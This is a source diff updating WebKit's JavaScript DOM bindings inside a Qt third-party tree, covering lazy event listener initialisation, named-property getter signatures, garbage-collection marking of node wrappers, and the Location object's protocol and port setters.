diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSLazyEventListener.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSLazyEventListener.cpp
index 6d75f4f..cd1d267 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSLazyEventListener.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSLazyEventListener.cpp
@@ -35,12 +35,11 @@ namespace WebCore {
 static WTF::RefCountedLeakCounter eventListenerCounter("JSLazyEventListener");
 #endif
 
-JSLazyEventListener::JSLazyEventListener(const String& functionName, const String& eventParameterName, const String& code, Node* node, const String& sourceURL, int lineNumber, DOMWrapperWorld* isolatedWorld)
-    : JSEventListener(0, true, isolatedWorld)
+JSLazyEventListener::JSLazyEventListener(const String& functionName, const String& eventParameterName, const String& code, Node* node, const String& sourceURL, int lineNumber, JSObject* wrapper, DOMWrapperWorld* isolatedWorld)
+    : JSEventListener(0, wrapper, true, isolatedWorld)
     , m_functionName(functionName)
     , m_eventParameterName(eventParameterName)
     , m_code(code)
-    , m_parsed(false)
     , m_sourceURL(sourceURL)
     , m_lineNumber(lineNumber)
     , m_originalNode(node)
@@ -48,8 +47,8 @@ JSLazyEventListener::JSLazyEventListener(const String& functionName, const Strin
     // We don't retain the original node because we assume it
     // will stay alive as long as this handler object is around
     // and we need to avoid a reference cycle. If JS transfers
-    // this handler to another node, parseCode will be called and
-    // then originalNode is no longer needed.
+    // this handler to another node, initializeJSFunction will
+    // be called and then originalNode is no longer needed.
 
     // A JSLazyEventListener can be created with a line number of zero when it is created with
     // a setAttribute call from JavaScript, so make the line number 1 in that case.
@@ -68,79 +67,62 @@ JSLazyEventListener::~JSLazyEventListener()
 #endif
 }
 
-JSObject* JSLazyEventListener::jsFunction(ScriptExecutionContext* executionContext) const
-{
-    parseCode(executionContext);
-    return m_jsFunction;
-}
-
-void JSLazyEventListener::parseCode(ScriptExecutionContext* executionContext) const
+JSObject* JSLazyEventListener::initializeJSFunction(ScriptExecutionContext* executionContext) const
 {
     ASSERT(executionContext);
     ASSERT(executionContext->isDocument());
     if (!executionContext)
-        return;
-
-    if (m_parsed)
-        return;
+        return 0;
 
     Frame* frame = static_cast<Document*>(executionContext)->frame();
     if (!frame)
-        return;
+        return 0;
 
     ScriptController* scriptController = frame->script();
-    if (!scriptController->isEnabled())
-        return;
+    if (!scriptController->canExecuteScripts(AboutToExecuteScript))
+        return 0;
 
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(executionContext, m_isolatedWorld.get());
+    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(executionContext, isolatedWorld());
     if (!globalObject)
-        return;
-
-    // Ensure that 'node' has a JavaScript wrapper to mark the event listener we're creating.
-    if (m_originalNode) {
-        JSLock lock(SilenceAssertionsOnly);
-        // FIXME: Should pass the global object associated with the node
-        toJS(globalObject->globalExec(), globalObject, m_originalNode);
-    }
+        return 0;
 
     if (executionContext->isDocument()) {
         JSDOMWindow* window = static_cast<JSDOMWindow*>(globalObject);
         Frame* frame = window->impl()->frame();
         if (!frame)
-            return;
+            return 0;
         // FIXME: Is this check needed for non-Document contexts?
         ScriptController* script = frame->script();
-        if (!script->isEnabled() || script->isPaused())
-            return;
+        if (!script->canExecuteScripts(AboutToExecuteScript) || script->isPaused())
+            return 0;
     }
 
-    m_parsed = true;
-
     ExecState* exec = globalObject->globalExec();
 
     MarkedArgumentBuffer args;
     args.append(jsNontrivialString(exec, m_eventParameterName));
     args.append(jsString(exec, m_code));
 
-    m_jsFunction = constructFunction(exec, args, Identifier(exec, m_functionName), m_sourceURL, m_lineNumber); // FIXME: is globalExec ok?
-
-    JSFunction* listenerAsFunction = static_cast<JSFunction*>(m_jsFunction);
-
+    JSObject* jsFunction = constructFunction(exec, args, Identifier(exec, m_functionName), m_sourceURL, m_lineNumber); // FIXME: is globalExec ok?
     if (exec->hadException()) {
         exec->clearException();
+        return 0;
+    }
+
+    JSFunction* listenerAsFunction = static_cast<JSFunction*>(jsFunction);
+    if (m_originalNode) {
+        if (!wrapper()) {
+            // Ensure that 'node' has a JavaScript wrapper to mark the event listener we're creating.
+            JSLock lock(SilenceAssertionsOnly);
+            // FIXME: Should pass the global object associated with the node
+            setWrapper(asObject(toJS(globalObject->globalExec(), globalObject, m_originalNode)));
+        }
 
-        // failed to parse, so let's just make this listener a no-op
-        m_jsFunction = 0;
-    } else if (m_originalNode) {
         // Add the event's home element to the scope
         // (and the document, and the form - see JSHTMLElement::eventHandlerScope)
         ScopeChain scope = listenerAsFunction->scope();
-
-        JSValue thisObj = toJS(exec, globalObject, m_originalNode);
-        if (thisObj.isObject()) {
-            static_cast<JSNode*>(asObject(thisObj))->pushEventHandlerScope(exec, scope);
-            listenerAsFunction->setScope(scope);
-        }
+        static_cast<JSNode*>(wrapper())->pushEventHandlerScope(exec, scope);
+        listenerAsFunction->setScope(scope);
     }
 
     // Since we only parse once, there's no need to keep data used for parsing around anymore.
@@ -148,6 +130,7 @@ void JSLazyEventListener::parseCode(ScriptExecutionContext* executionContext) co
     m_code = String();
     m_eventParameterName = String();
     m_sourceURL = String();
+    return jsFunction;
 }
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSLazyEventListener.h b/src/3rdparty/webkit/WebCore/bindings/js/JSLazyEventListener.h
index ba26ef6..1b00b75 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSLazyEventListener.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSLazyEventListener.h
@@ -29,24 +29,21 @@ namespace WebCore {
 
     class JSLazyEventListener : public JSEventListener {
     public:
-        static PassRefPtr<JSLazyEventListener> create(const String& functionName, const String& eventParameterName, const String& code, Node* node, const String& sourceURL, int lineNumber, DOMWrapperWorld* isolatedWorld)
+        static PassRefPtr<JSLazyEventListener> create(const String& functionName, const String& eventParameterName, const String& code, Node* node, const String& sourceURL, int lineNumber, JSC::JSObject* wrapper, DOMWrapperWorld* isolatedWorld)
         {
-            return adoptRef(new JSLazyEventListener(functionName, eventParameterName, code, node, sourceURL, lineNumber, isolatedWorld));
+            return adoptRef(new JSLazyEventListener(functionName, eventParameterName, code, node, sourceURL, lineNumber, wrapper, isolatedWorld));
         }
         virtual ~JSLazyEventListener();
 
     private:
-        JSLazyEventListener(const String& functionName, const String& eventParameterName, const String& code, Node*, const String& sourceURL, int lineNumber, DOMWrapperWorld* isolatedWorld);
+        JSLazyEventListener(const String& functionName, const String& eventParameterName, const String& code, Node*, const String& sourceURL, int lineNumber, JSC::JSObject* wrapper, DOMWrapperWorld* isolatedWorld);
 
-        virtual JSC::JSObject* jsFunction(ScriptExecutionContext*) const;
+        virtual JSC::JSObject* initializeJSFunction(ScriptExecutionContext*) const;
         virtual bool wasCreatedFromMarkup() const { return true; }
 
-        void parseCode(ScriptExecutionContext*) const;
-
         mutable String m_functionName;
         mutable String m_eventParameterName;
         mutable String m_code;
-        mutable bool m_parsed;
         mutable String m_sourceURL;
         int m_lineNumber;
         Node* m_originalNode;
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSLocationCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSLocationCustom.cpp
index c76a2b1..a3e2bae 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSLocationCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSLocationCustom.cpp
@@ -24,6 +24,7 @@
 #include "JSLocationCustom.h"
 
 #include "DOMWindow.h"
+#include "ExceptionCode.h"
 #include "Frame.h"
 #include "FrameLoader.h"
 #include "JSDOMBinding.h"
@@ -38,17 +39,17 @@ using namespace JSC;
 
 namespace WebCore {
 
-static JSValue nonCachingStaticReplaceFunctionGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot&)
+static JSValue nonCachingStaticReplaceFunctionGetter(ExecState* exec, JSValue, const Identifier& propertyName)
 {
     return new (exec) NativeFunctionWrapper(exec, exec->lexicalGlobalObject()->prototypeFunctionStructure(), 1, propertyName, jsLocationPrototypeFunctionReplace);
 }
 
-static JSValue nonCachingStaticReloadFunctionGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot&)
+static JSValue nonCachingStaticReloadFunctionGetter(ExecState* exec, JSValue, const Identifier& propertyName)
 {
     return new (exec) NativeFunctionWrapper(exec, exec->lexicalGlobalObject()->prototypeFunctionStructure(), 0, propertyName, jsLocationPrototypeFunctionReload);
 }
 
-static JSValue nonCachingStaticAssignFunctionGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot&)
+static JSValue nonCachingStaticAssignFunctionGetter(ExecState* exec, JSValue, const Identifier& propertyName)
 {
     return new (exec) NativeFunctionWrapper(exec, exec->lexicalGlobalObject()->prototypeFunctionStructure(), 1, propertyName, jsLocationPrototypeFunctionAssign);
 }
@@ -102,14 +103,9 @@ bool JSLocation::getOwnPropertyDescriptorDelegate(ExecState* exec, const Identif
         return true;
     }
     
-    // When accessing Location cross-domain, functions are always the native built-in ones.
-    // See JSDOMWindow::getOwnPropertySlotDelegate for additional details.
-    
-    // Our custom code is only needed to implement the Window cross-domain scheme, so if access is
-    // allowed, return false so the normal lookup will take place.
-    String message;
-    if (allowsAccessFromFrame(exec, frame, message))
-        return false;
+    // throw out all cross domain access
+    if (!allowsAccessFromFrame(exec, frame))
+        return true;
     
     // Check for the few functions that we allow, even when called cross-domain.
     const HashEntry* entry = JSLocationPrototype::s_info.propHashTable(exec)->entry(exec, propertyName);
@@ -133,8 +129,7 @@ bool JSLocation::getOwnPropertyDescriptorDelegate(ExecState* exec, const Identif
     // FIXME: Other implementers of the Window cross-domain scheme (Window, History) allow toString,
     // but for now we have decided not to, partly because it seems silly to return "[Object Location]" in
     // such cases when normally the string form of Location would be the URL.
-    
-    printErrorMessageForFrame(frame, message);
+
     descriptor.setUndefined();
     return true;
 }
@@ -174,12 +169,12 @@ bool JSLocation::deleteProperty(ExecState* exec, const Identifier& propertyName)
     return Base::deleteProperty(exec, propertyName);
 }
 
-void JSLocation::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames)
+void JSLocation::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
 {
     // Only allow the location object to enumerated by frames in the same origin.
     if (!allowsAccessFromFrame(exec, impl()->frame()))
         return;
-    Base::getOwnPropertyNames(exec, propertyNames);
+    Base::getOwnPropertyNames(exec, propertyNames, mode);
 }
 
 void JSLocation::defineGetter(ExecState* exec, const Identifier& propertyName, JSObject* getterFunction, unsigned attributes)
@@ -220,7 +215,10 @@ void JSLocation::setProtocol(ExecState* exec, JSValue value)
     ASSERT(frame);
 
     KURL url = frame->loader()->url();
-    url.setProtocol(value.toString(exec));
+    if (!url.setProtocol(value.toString(exec))) {
+        setDOMException(exec, SYNTAX_ERR);
+        return;
+    }
 
     navigateIfAllowed(exec, frame, url, !frame->script()->anyPageIsProcessingUserGesture(), false);
 }
@@ -257,8 +255,9 @@ void JSLocation::setPort(ExecState* exec, JSValue value)
     const UString& portString = value.toString(exec);
     int port = charactersToInt(portString.data(), portString.size());
     if (port < 0 || port > 0xFFFF)
-        port = 0;
-    url.setPort(port);
+        url.removePort();
+    else
+        url.setPort(port);
 
     navigateIfAllowed(exec, frame, url, !frame->script()->anyPageIsProcessingUserGesture(), false);
 }
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSMessagePortCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSMessagePortCustom.cpp
index 2c09620..2ee8125 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSMessagePortCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSMessagePortCustom.cpp
@@ -49,7 +49,7 @@ void JSMessagePort::markChildren(MarkStack& markStack)
     if (MessagePort* entangledPort = m_impl->locallyEntangledPort())
         markDOMObjectWrapper(markStack, *Heap::heap(this)->globalData(), entangledPort);
 
-    m_impl->markEventListeners(markStack);
+    m_impl->markJSEventListeners(markStack);
 }
 
 JSValue JSMessagePort::addEventListener(ExecState* exec, const ArgList& args)
@@ -58,7 +58,7 @@ JSValue JSMessagePort::addEventListener(ExecState* exec, const ArgList& args)
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
+    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
@@ -68,7 +68,7 @@ JSValue JSMessagePort::removeEventListener(ExecState* exec, const ArgList& args)
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
+    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSMimeTypeArrayCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSMimeTypeArrayCustom.cpp
index c90dadd..c4b3189 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSMimeTypeArrayCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSMimeTypeArrayCustom.cpp
@@ -33,9 +33,9 @@ bool JSMimeTypeArray::canGetItemsForName(ExecState*, MimeTypeArray* mimeTypeArra
     return mimeTypeArray->canGetItemsForName(propertyName);
 }
 
-JSValue JSMimeTypeArray::nameGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue JSMimeTypeArray::nameGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSMimeTypeArray* thisObj = static_cast<JSMimeTypeArray*>(asObject(slot.slotBase()));
+    JSMimeTypeArray* thisObj = static_cast<JSMimeTypeArray*>(asObject(slotBase));
     return toJS(exec, thisObj->impl()->namedItem(propertyName));
 }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSNamedNodeMapCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSNamedNodeMapCustom.cpp
index 1974ab0..13f3628 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSNamedNodeMapCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSNamedNodeMapCustom.cpp
@@ -40,9 +40,9 @@ bool JSNamedNodeMap::canGetItemsForName(ExecState*, NamedNodeMap* impl, const Id
     return impl->getNamedItem(propertyName);
 }
 
-JSValue JSNamedNodeMap::nameGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue JSNamedNodeMap::nameGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSNamedNodeMap* thisObj = static_cast<JSNamedNodeMap*>(asObject(slot.slotBase()));
+    JSNamedNodeMap* thisObj = static_cast<JSNamedNodeMap*>(asObject(slotBase));
     return toJS(exec, thisObj->impl()->getNamedItem(propertyName));
 }
 
@@ -52,10 +52,8 @@ void JSNamedNodeMap::markChildren(MarkStack& markStack)
 
     // Mark the element so that this will work to access the attribute even if the last
     // other reference goes away.
-    if (Element* element = impl()->element()) {
-        if (JSNode* wrapper = getCachedDOMNodeWrapper(element->document(), element))
-            markStack.append(wrapper);
-    }
+    if (Element* element = impl()->element())
+        markDOMNodeWrapper(markStack, element->document(), element);
 }
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSNodeCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSNodeCustom.cpp
index 2a4aa80..134c581 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSNodeCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSNodeCustom.cpp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2007, 2009 Apple Inc. All rights reserved.
+ * Copyright (C) 2007, 2009, 2010 Apple Inc. All rights reserved.
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
@@ -114,7 +114,7 @@ JSValue JSNode::addEventListener(ExecState* exec, const ArgList& args)
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)), args.at(2).toBoolean(exec));
+    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
@@ -124,7 +124,7 @@ JSValue JSNode::removeEventListener(ExecState* exec, const ArgList& args)
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
+    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
@@ -137,42 +137,45 @@ void JSNode::markChildren(MarkStack& markStack)
     Base::markChildren(markStack);
 
     Node* node = m_impl.get();
-    node->markEventListeners(markStack);
+    node->markJSEventListeners(markStack);
 
     // Nodes in the document are kept alive by JSDocument::mark, so, if we're in
     // the document, we need to mark the document, but we don't need to explicitly
     // mark any other nodes.
     if (node->inDocument()) {
         if (Document* doc = node->ownerDocument())
-            markDOMObjectWrapper(markStack, *Heap::heap(this)->globalData(), doc);
+            markDOMNodeWrapper(markStack, doc, doc);
         return;
     }
 
-    // This is a node outside the document, so find the root of the tree it is in,
-    // and start marking from there.
+    // This is a node outside the document.
+    // Find the the root, and the highest ancestor with a wrapper.
     Node* root = node;
-    for (Node* current = m_impl.get(); current; current = current->parentNode())
+    Node* outermostNodeWithWrapper = node;
+    for (Node* current = m_impl.get(); current; current = current->parentNode()) {
         root = current;
+        if (hasCachedDOMNodeWrapperUnchecked(current->document(), current))
+            outermostNodeWithWrapper = current;
+    }
 
-    // Nodes in a subtree are marked by the tree's root, so, if the root is already
-    // marking the tree, we don't need to explicitly mark any other nodes.
-    if (root->inSubtreeMark())
+    // Only nodes that have no ancestors with wrappers mark the subtree. In the common
+    // case, the root of the detached subtree has a wrapper, so the tree will only
+    // get marked once. Nodes that aren't outermost need to mark the outermost
+    // in case it is otherwise unreachable.
+    if (node != outermostNodeWithWrapper) {
+        markDOMNodeWrapper(markStack, m_impl->document(), outermostNodeWithWrapper);
         return;
+    }
 
     // Mark the whole tree subtree.
-    root->setInSubtreeMark(true);
-    for (Node* nodeToMark = root; nodeToMark; nodeToMark = nodeToMark->traverseNextNode()) {
-        JSNode* wrapper = getCachedDOMNodeWrapper(m_impl->document(), nodeToMark);
-        if (wrapper)
-            markStack.append(wrapper);
-    }
-    root->setInSubtreeMark(false);
+    for (Node* nodeToMark = root; nodeToMark; nodeToMark = nodeToMark->traverseNextNode())
+        markDOMNodeWrapper(markStack, m_impl->document(), nodeToMark);
 }
 
-static ALWAYS_INLINE JSValue createWrapper(ExecState* exec, JSDOMGlobalObject* globalObject, Node* node)
+static ALWAYS_INLINE JSValue createWrapperInline(ExecState* exec, JSDOMGlobalObject* globalObject, Node* node)
 {
     ASSERT(node);
-    ASSERT(!getCachedDOMNodeWrapper(node->document(), node));
+    ASSERT(!getCachedDOMNodeWrapper(exec, node->document(), node));
     
     JSNode* wrapper;    
     switch (node->nodeType()) {
@@ -225,25 +228,18 @@ static ALWAYS_INLINE JSValue createWrapper(ExecState* exec, JSDOMGlobalObject* g
 
     return wrapper;    
 }
-    
-JSValue toJSNewlyCreated(ExecState* exec, JSDOMGlobalObject* globalObject, Node* node)
+
+JSValue createWrapper(ExecState* exec, JSDOMGlobalObject* globalObject, Node* node)
 {
-    if (!node)
-        return jsNull();
-    
-    return createWrapper(exec, globalObject, node);
+    return createWrapperInline(exec, globalObject, node);
 }
     
-JSValue toJS(ExecState* exec, JSDOMGlobalObject* globalObject, Node* node)
+JSValue toJSNewlyCreated(ExecState* exec, JSDOMGlobalObject* globalObject, Node* node)
 {
     if (!node)
         return jsNull();
-
-    JSNode* wrapper = getCachedDOMNodeWrapper(node->document(), node);
-    if (wrapper)
-        return wrapper;
-
-    return createWrapper(exec, globalObject, node);
+    
+    return createWrapperInline(exec, globalObject, node);
 }
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSNodeCustom.h b/src/3rdparty/webkit/WebCore/bindings/js/JSNodeCustom.h
new file mode 100644
index 0000000..9d06ae6
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSNodeCustom.h
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2007, 2009, 2010 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef JSNodeCustom_h
+#define JSNodeCustom_h
+
+#include "JSDOMBinding.h"
+#include <wtf/AlwaysInline.h>
+
+namespace WebCore {
+
+inline JSNode* getCachedDOMNodeWrapper(JSC::ExecState* exec, Document* document, Node* node)
+{
+    if (currentWorld(exec)->isNormal()) {
+        ASSERT(node->wrapper() == (document ? document->getWrapperCache(currentWorld(exec))->get(node) : domObjectWrapperMapFor(exec).get(node)));
+        return static_cast<JSNode*>(node->wrapper());
+    }
+
+    if (document)
+        return document->getWrapperCache(currentWorld(exec))->get(node);
+    return static_cast<JSNode*>(domObjectWrapperMapFor(exec).get(node));
+}
+
+JSC::JSValue createWrapper(JSC::ExecState*, JSDOMGlobalObject*, Node*);
+
+inline JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, Node* node)
+{
+    if (!node)
+        return JSC::jsNull();
+
+    JSNode* wrapper = getCachedDOMNodeWrapper(exec, node->document(), node);
+    if (wrapper)
+        return wrapper;
+
+    return createWrapper(exec, globalObject, node);
+}
+
+}
+
+#endif // JSDOMNodeCustom_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSNodeFilterCondition.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSNodeFilterCondition.cpp
index 54dc020..d34f5c1 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSNodeFilterCondition.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSNodeFilterCondition.cpp
@@ -66,7 +66,7 @@ short JSNodeFilterCondition::acceptNode(JSC::ExecState* exec, Node* filterNode)
     if (exec->hadException())
         return NodeFilter::FILTER_REJECT;
 
-    JSValue result = callInWorld(exec, m_filter, callType, callData, m_filter, args, currentWorld(exec));
+    JSValue result = JSC::call(exec, m_filter, callType, callData, m_filter, args);
     if (exec->hadException())
         return NodeFilter::FILTER_REJECT;
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSNodeListCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSNodeListCustom.cpp
index 2821d01..3f7d08b 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSNodeListCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSNodeListCustom.cpp
@@ -56,9 +56,9 @@ bool JSNodeList::canGetItemsForName(ExecState*, NodeList* impl, const Identifier
     return impl->itemWithName(propertyName);
 }
 
-JSValue JSNodeList::nameGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue JSNodeList::nameGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSNodeList* thisObj = static_cast<JSNodeList*>(asObject(slot.slotBase()));
+    JSNodeList* thisObj = static_cast<JSNodeList*>(asObject(slotBase));
     return toJS(exec, thisObj->impl()->itemWithName(propertyName));
 }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSOptionConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSOptionConstructor.cpp
index 7da0666..995903e 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSOptionConstructor.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSOptionConstructor.cpp
@@ -49,21 +49,18 @@ static JSObject* constructHTMLOptionElement(ExecState* exec, JSObject* construct
     if (!document)
         return throwError(exec, ReferenceError, "Option constructor associated document is unavailable");
 
-    RefPtr<HTMLOptionElement> element = static_pointer_cast<HTMLOptionElement>(document->createElement(HTMLNames::optionTag, false));
-
-    ExceptionCode ec = 0;
-    RefPtr<Text> text = document->createTextNode("");
+    String data;
     if (!args.at(0).isUndefined())
-        text->setData(args.at(0).toString(exec), ec);
-    if (ec == 0)
-        element->appendChild(text.release(), ec);
-    if (ec == 0 && !args.at(1).isUndefined())
-        element->setValue(args.at(1).toString(exec));
-    if (ec == 0)
-        element->setDefaultSelected(args.at(2).toBoolean(exec));
-    if (ec == 0)
-        element->setSelected(args.at(3).toBoolean(exec));
+        data = args.at(0).toString(exec);
 
+    String value;
+    if (!args.at(1).isUndefined())
+        value = args.at(1).toString(exec);
+    bool defaultSelected = args.at(2).toBoolean(exec);
+    bool selected = args.at(3).toBoolean(exec);
+
+    ExceptionCode ec = 0;
+    RefPtr<HTMLOptionElement> element = HTMLOptionElement::createForJSConstructor(document, data, value, defaultSelected, selected, ec);
     if (ec) {
         setDOMException(exec, ec);
         return 0;
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSPluginArrayCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSPluginArrayCustom.cpp
index 81d4295..9e0c3f5 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSPluginArrayCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSPluginArrayCustom.cpp
@@ -33,9 +33,9 @@ bool JSPluginArray::canGetItemsForName(ExecState*, PluginArray* pluginArray, con
     return pluginArray->canGetItemsForName(propertyName);
 }
 
-JSValue JSPluginArray::nameGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue JSPluginArray::nameGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSPluginArray* thisObj = static_cast<JSPluginArray*>(asObject(slot.slotBase()));
+    JSPluginArray* thisObj = static_cast<JSPluginArray*>(asObject(slotBase));
     return toJS(exec, thisObj->impl()->namedItem(propertyName));
 }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSPluginCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSPluginCustom.cpp
index 555dd9e..b29e583 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSPluginCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSPluginCustom.cpp
@@ -32,9 +32,9 @@ bool JSPlugin::canGetItemsForName(ExecState*, Plugin* plugin, const Identifier&
     return plugin->canGetItemsForName(propertyName);
 }
 
-JSValue JSPlugin::nameGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue JSPlugin::nameGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSPlugin* thisObj = static_cast<JSPlugin*>(asObject(slot.slotBase()));
+    JSPlugin* thisObj = static_cast<JSPlugin*>(asObject(slotBase));
     return toJS(exec, thisObj->impl()->namedItem(propertyName));
 }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSPluginElementFunctions.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSPluginElementFunctions.cpp
index ada2a77..b20b9a7 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSPluginElementFunctions.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSPluginElementFunctions.cpp
@@ -20,10 +20,10 @@
 #include "config.h"
 #include "JSPluginElementFunctions.h"
 
+#include "Bridge.h"
 #include "HTMLNames.h"
 #include "HTMLPlugInElement.h"
 #include "JSHTMLElement.h"
-#include "runtime.h"
 #include "runtime_object.h"
 
 using namespace JSC;
@@ -35,7 +35,7 @@ using namespace HTMLNames;
 
 // Runtime object support code for JSHTMLAppletElement, JSHTMLEmbedElement and JSHTMLObjectElement.
 
-static Instance* pluginInstance(Node* node)
+Instance* pluginInstance(Node* node)
 {
     if (!node)
         return 0;
@@ -49,7 +49,7 @@ static Instance* pluginInstance(Node* node)
     return instance;
 }
 
-static RuntimeObjectImp* getRuntimeObject(ExecState* exec, Node* node)
+static RuntimeObject* getRuntimeObject(ExecState* exec, Node* node)
 {
     Instance* instance = pluginInstance(node);
     if (!instance)
